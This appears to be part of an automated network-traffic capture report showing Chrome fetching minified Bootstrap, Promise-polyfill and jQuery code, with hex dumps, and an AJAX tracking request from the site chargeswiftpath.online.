t.offsetHeight},triggerTransitionEnd:function(t){e(t).trigger("transitionend")},supportsTransitionEnd:function(){return Boolean("transitionend")},isElement:function(t){return(t[0]\|\|t).nodeType},typeChec
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 68 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 65 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 61 3d 22 61 6c 65 72 74 22 2c 6c 3d 65 2e 66 6e 5b 61 5d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3b 74 26 26 28 65 3d 74 68 69 73 2e 5f 67 65 Data Ascii: transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var a="alert",l=e.fn[a],c=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._element;t&&(e=this._ge
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 73 3d 22 61 6c 65 72 74 22 5d 27 2c 63 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 63 29 29 2c 65 2e 66 6e 5b 61 5d 3d 63 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 5b 61 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 63 2c 65 2e 66 6e 5b 61 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 5b 61 5d 3d 6c 2c 63 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 68 3d 65 2e 66 6e 2e 62 75 74 74 6f 6e 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 6e 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f Data Ascii: s="alert"]',c._handleDismiss(new c)),e.fn[a]=c._jQueryInterface,e.fn[a].Constructor=c,e.fn[a].noConflict=function(){return e.fn[a]=l,c._jQueryInterface};var h=e.fn.button,u=function(){function t(t){this._element=t}var n=t.prototype;return n.toggle=functio
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 6e 22 29 5b 30 5d 29 2c 21 6e 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 22 68 69 64 64 65 6e 22 5d 29 27 29 3b 69 66 28 6f 26 26 28 6f 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 28 22 4c 41 42 45 Data Ascii: n")[0]),!n\|\|n.hasAttribute("disabled")\|\|n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")\|\|o.classList.contains("disabled")))return void t.preventDefault();("LABE
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 73 65 3a 22 28 73 74 72 69 6e 67 7c 62 6f 6f 6c 65 61 6e 29 22 2c 77 72 61 70 3a 22 62 6f 6f 6c 65 61 6e 22 2c 74 6f 75 63 68 3a 22 62 6f 6f 6c 65 61 6e 22 7d 2c 5f 3d 7b 54 4f 55 43 48 3a 22 74 6f 75 63 68 22 2c 50 45 4e 3a 22 70 65 6e 22 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 5f 69 74 65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 74 68 69 73 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 30 2c 74 68 69 Data Ascii: se:"(string\|boolean)",wrap:"boolean",touch:"boolean"},_={TOUCH:"touch",PEN:"pen"},v=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,thi
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 63 74 69 76 65 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 74 3e 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 74 3c 30 29 29 69 66 28 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 29 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 65 28 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 74 6f 28 74 29 7d 29 29 Data Ascii: t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1\|\|t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){return n.to(t)}))
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 3a 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 7c 7c 28 74 2e 74 6f 75 63 68 53 74 61 72 74 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 29 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 5f 70 6f 69 6e 74 65 72 45 76 65 6e 74 26 26 5f 5b 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 26 26 28 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 29 2c 74 2e 5f 68 61 6e 64 6c 65 53 77 69 70 65 28 29 2c 22 68 6f Data Ascii: ouchStartX=e.originalEvent.clientX:t._pointerEvent\|\|(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&_[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"ho
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 6c 6c 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 29 3a 5b 5d 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 74 29 7d 2c 6e 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 22 6e 65 78 74 22 3d 3d 3d 74 2c 69 3d 22 70 72 65 76 22 3d 3d 3d 74 2c 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 72 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 6f 7c 7c 6e 26 26 6f 3d 3d 3d 72 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 77 72 61 70 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 73 3d 28 6f 2b 28 Data Ascii: ll(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),r=this._items.length-1;if((i&&0===o\|\|n&&o===r)&&!this._config.wrap)return e;var s=(o+(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49893	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	439	OUT	GET /new/67234/assets/dist/codebase.min.js HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 11:14:00 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635783 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SM%2FGicQ4ov7T2y7BNwRdIOfTJZviReEfYictHXsV2aPW6TNPC0gl%2B84pjpkm7%2BAGzVjFM1ue1RIGPt%2FGfUg%2FsIPaL4NO%2Bchpbm%2BChlfBuQTxJ47DaJ2%2BSneWZiMoDLh6lm5cEbhXYNTZ0G4w7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90eecc58c18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1788&rtt_var=687&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1017&delivery_rate=1573275&cwnd=210&unsent_bytes=0&cid=187cbb98bb869597&ts=156&x=0"
2025-01-08 14:45:42 UTC	350	IN	Data Raw: 37 63 37 63 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 68 69 Data Ascii: 7c7c!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");thi
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 72 28 3b 33 3d 3d 3d 74 2e 5f 73 74 61 74 65 3b 29 74 3d 74 2e 5f 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 76 6f 69 64 20 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 70 75 73 68 28 65 29 3a 28 74 2e 5f 68 61 6e 64 6c 65 64 3d 21 30 2c 76 6f 69 64 20 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 31 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 65 2e 6f 6e 46 75 6c 66 69 6c 6c 65 64 3a 65 2e 6f 6e 52 65 6a 65 63 74 65 64 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 28 31 3d 3d 3d 74 2e 5f 73 74 61 74 65 3f 69 3a 66 29 28 65 2e 70 72 6f 6d 69 73 65 2c 74 2e 5f 76 61 6c 75 65 29 3b 76 61 72 20 6f 3b 74 72 79 7b 6f 3d 6e 28 74 2e 5f 76 61 6c 75 65 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 20 Data Ascii: r(;3===t._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void a(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null===n)return void(1===t._state?i:f)(e.promise,t._value);var o;try{o=n(t._value)}catch(r){return
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 6e 65 77 20 63 28 74 2c 6e 2c 6f 29 29 2c 6f 7d 2c 6f 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 2c 66 29 7b 74 72 79 7b 69 66 28 66 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 66 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 66 29 29 7b 76 61 72 20 75 3d 66 2e 74 68 65 6e 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 75 29 72 65 74 75 72 6e 20 76 6f 69 64 20 75 2e 63 61 6c 6c 28 Data Ascii: s.constructor(e);return r(this,new c(t,n,o)),o},o.all=function(t){var e=Array.prototype.slice.call(t);return new o(function(t,n){function o(i,f){try{if(f&&("object"==typeof f\|\|"function"==typeof f)){var u=f.then;if("function"==typeof u)return void u.call(
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 64 65 6c 65 74 65 64 49 64 73 2e 63 6f 6e 63 61 74 2c 63 6f 72 65 5f 70 75 73 68 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 70 75 73 68 2c 63 6f 72 65 5f 73 6c 69 63 65 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 73 6c 69 63 65 2c 63 6f 72 65 5f 69 6e 64 65 78 4f 66 3d 63 6f 72 65 5f 64 65 6c 65 74 65 64 49 64 73 2e 69 6e 64 65 78 4f 66 2c 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 3d 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 63 6f 72 65 5f 68 61 73 4f 77 6e 3d 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 63 6f 72 65 5f 74 72 69 6d 3d 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 73 65 6c 65 63 74 6f 72 2c 63 6f 6e 74 65 78 74 29 7b 72 65 Data Ascii: deletedIds.concat,core_push=core_deletedIds.push,core_slice=core_deletedIds.slice,core_indexOf=core_deletedIds.indexOf,core_toString=class2type.toString,core_hasOwn=class2type.hasOwnProperty,core_trim=core_version.trim,jQuery=function(selector,context){re
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 69 73 46 75 6e 63 74 69 6f 6e 28 74 68 69 73 5b 6d 61 74 63 68 5d 29 29 7b 74 68 69 73 5b 6d 61 74 63 68 5d 28 63 6f 6e 74 65 78 74 5b 6d 61 74 63 68 5d 29 7d 65 6c 73 65 7b 74 68 69 73 2e 61 74 74 72 28 6d 61 74 63 68 2c 63 6f 6e 74 65 78 74 5b 6d 61 74 63 68 5d 29 7d 7d 7d 0a 72 65 74 75 72 6e 20 74 68 69 73 7d 65 6c 73 65 7b 65 6c 65 6d 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6d 61 74 63 68 5b 32 5d 29 3b 69 66 28 65 6c 65 6d 26 26 65 6c 65 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7b 74 68 69 73 2e 6c 65 6e 67 74 68 3d 31 3b 74 68 69 73 5b 30 5d 3d 65 6c 65 6d 7d 0a 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 64 6f 63 75 6d 65 6e 74 3b 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 73 65 6c 65 63 74 6f 72 3b 72 65 74 75 72 6e 20 Data Ascii: isFunction(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){this.length=1;this[0]=elem}this.context=document;this.selector=selector;return
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 61 6c 6c 62 61 63 6b 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6a 51 75 65 72 79 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 69 29 7b 72 65 74 75 72 6e 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 65 6c 65 6d 2c 69 2c 65 6c 65 6d 29 7d 29 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 6e 75 6c 6c 29 7d 2c 70 75 73 68 3a 63 6f 72 65 5f 70 75 73 68 2c 73 6f 72 74 3a 5b 5d 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 5b 5d 2e 73 70 6c 69 63 65 7d 3b 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 3d 6a 51 75 65 72 79 2e 66 6e 3b 6a 51 75 65 72 79 2e 65 78 Data Ascii: allback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},end:function(){return this.prevObject\|\|this.constructor(null)},push:core_push,sort:[].sort,splice:[].splice};jQuery.fn.init.prototype=jQuery.fn;jQuery.ex
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 74 3a 6a 51 75 65 72 79 2e 69 73 52 65 61 64 79 29 7b 72 65 74 75 72 6e 7d 0a 6a 51 75 65 72 79 2e 69 73 52 65 61 64 79 3d 21 30 3b 69 66 28 77 61 69 74 21 3d 3d 21 30 26 26 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 3e 30 29 7b 72 65 74 75 72 6e 7d 0a 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 64 6f 63 75 6d 65 6e 74 2c 5b 6a 51 75 65 72 79 5d 29 3b 69 66 28 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 72 29 7b 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 22 72 65 61 64 79 22 29 2e 6f 66 66 28 22 72 65 61 64 79 22 29 7d 7d 2c 69 73 46 75 6e 63 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 74 79 70 65 28 6f 62 6a 29 3d 3d 3d 22 66 75 6e Data Ascii: t:jQuery.isReady){return}jQuery.isReady=!0;if(wait!==!0&&--jQuery.readyWait>0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.trigger){jQuery(document).trigger("ready").off("ready")}},isFunction:function(obj){return jQuery.type(obj)==="fun
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 73 65 2c 70 61 72 73 65 58 4d 4c 3a 66 75 6e 63 74 69 6f 6e 28 64 61 74 61 29 7b 76 61 72 20 78 6d 6c 2c 74 6d 70 3b 69 66 28 21 64 61 74 61 7c 7c 74 79 70 65 6f 66 20 64 61 74 61 21 3d 3d 22 73 74 72 69 6e 67 22 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 0a 74 72 79 7b 74 6d 70 3d 6e 65 77 20 44 4f 4d 50 61 72 73 65 72 28 29 3b 78 6d 6c 3d 74 6d 70 2e 70 61 72 73 65 46 72 6f 6d 53 74 72 69 6e 67 28 64 61 74 61 2c 22 74 65 78 74 2f 78 6d 6c 22 29 7d 63 61 74 63 68 28 65 29 7b 78 6d 6c 3d 75 6e 64 65 66 69 6e 65 64 7d 0a 69 66 28 21 78 6d 6c 7c 7c 78 6d 6c 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 70 61 72 73 65 72 65 72 72 6f 72 22 29 2e 6c 65 6e 67 74 68 29 7b 6a 51 75 65 72 79 2e 65 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 58 Data Ascii: se,parseXML:function(data){var xml,tmp;if(!data\|\|typeof data!=="string"){return null}try{tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}catch(e){xml=undefined}if(!xml\|\|xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid X
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 29 7b 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 72 65 74 2c 74 79 70 65 6f 66 20 61 72 72 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 5b 61 72 72 5d 3a 61 72 72 29 7d 65 6c 73 65 7b 63 6f 72 65 5f 70 75 73 68 2e 63 61 6c 6c 28 72 65 74 2c 61 72 72 29 7d 7d 0a 72 65 74 75 72 6e 20 72 65 74 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 61 72 72 2c 69 29 7b 72 65 74 75 72 6e 20 61 72 72 3d 3d 6e 75 6c 6c 3f 2d 31 3a 63 6f 72 65 5f 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 61 72 72 2c 65 6c 65 6d 2c 69 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 66 69 72 73 74 2c 73 65 63 6f 6e 64 29 7b 76 61 72 20 6c 3d 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 69 3d 66 69 72 73 74 2e 6c 65 6e 67 74 68 2c 6a 3d 30 3b 69 66 28 74 79 70 65 6f 66 20 6c 3d Data Ascii: ){jQuery.merge(ret,typeof arr==="string"?[arr]:arr)}else{core_push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){return arr==null?-1:core_indexOf.call(arr,elem,i)},merge:function(first,second){var l=second.length,i=first.length,j=0;if(typeof l=
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 3d 3d 3d 22 6f 62 6a 65 63 74 22 29 7b 63 68 61 69 6e 61 62 6c 65 3d 21 30 3b 66 6f 72 28 69 20 69 6e 20 6b 65 79 29 7b 6a 51 75 65 72 79 2e 61 63 63 65 73 73 28 65 6c 65 6d 73 2c 66 6e 2c 69 2c 6b 65 79 5b 69 5d 2c 21 30 2c 65 6d 70 74 79 47 65 74 2c 72 61 77 29 7d 7d 65 6c 73 65 20 69 66 28 76 61 6c 75 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 63 68 61 69 6e 61 62 6c 65 3d 21 30 3b 69 66 28 21 6a 51 75 65 72 79 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 7b 72 61 77 3d 21 30 7d 0a 69 66 28 62 75 6c 6b 29 7b 69 66 28 72 61 77 29 7b 66 6e 2e 63 61 6c 6c 28 65 6c 65 6d 73 2c 76 61 6c 75 65 29 3b 66 6e 3d 6e 75 6c 6c 7d 65 6c 73 65 7b 62 75 6c 6b 3d 66 6e 3b 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 2c 6b 65 79 2c 76 61 6c 75 65 29 7b Data Ascii: ==="object"){chainable=!0;for(i in key){jQuery.access(elems,fn,i,key[i],!0,emptyGet,raw)}}else if(value!==undefined){chainable=!0;if(!jQuery.isFunction(value)){raw=!0}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.16	49894	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	806	OUT	GET /new/67234/ajax.php/extensions/checktrafficnew/initialize HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:43 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache Cache-Control: max-age=0, no-cache, no-store, must-revalidate vary: Accept-Encoding,User-Agent pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1CwKAtQJCasNjeiwCD%2BlCtql0ncNPCEqcRUoD0omb6AGySn%2FPRYdStRPZRtu%2BdUn5TY8%2FGA1H77deJXb4LB6mnjVDXKFVoQpkocOXlH3QisjRad677xcIglHkV1HyGu0S2GlR7YDKka0D0sEuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90eff1243be-EWR 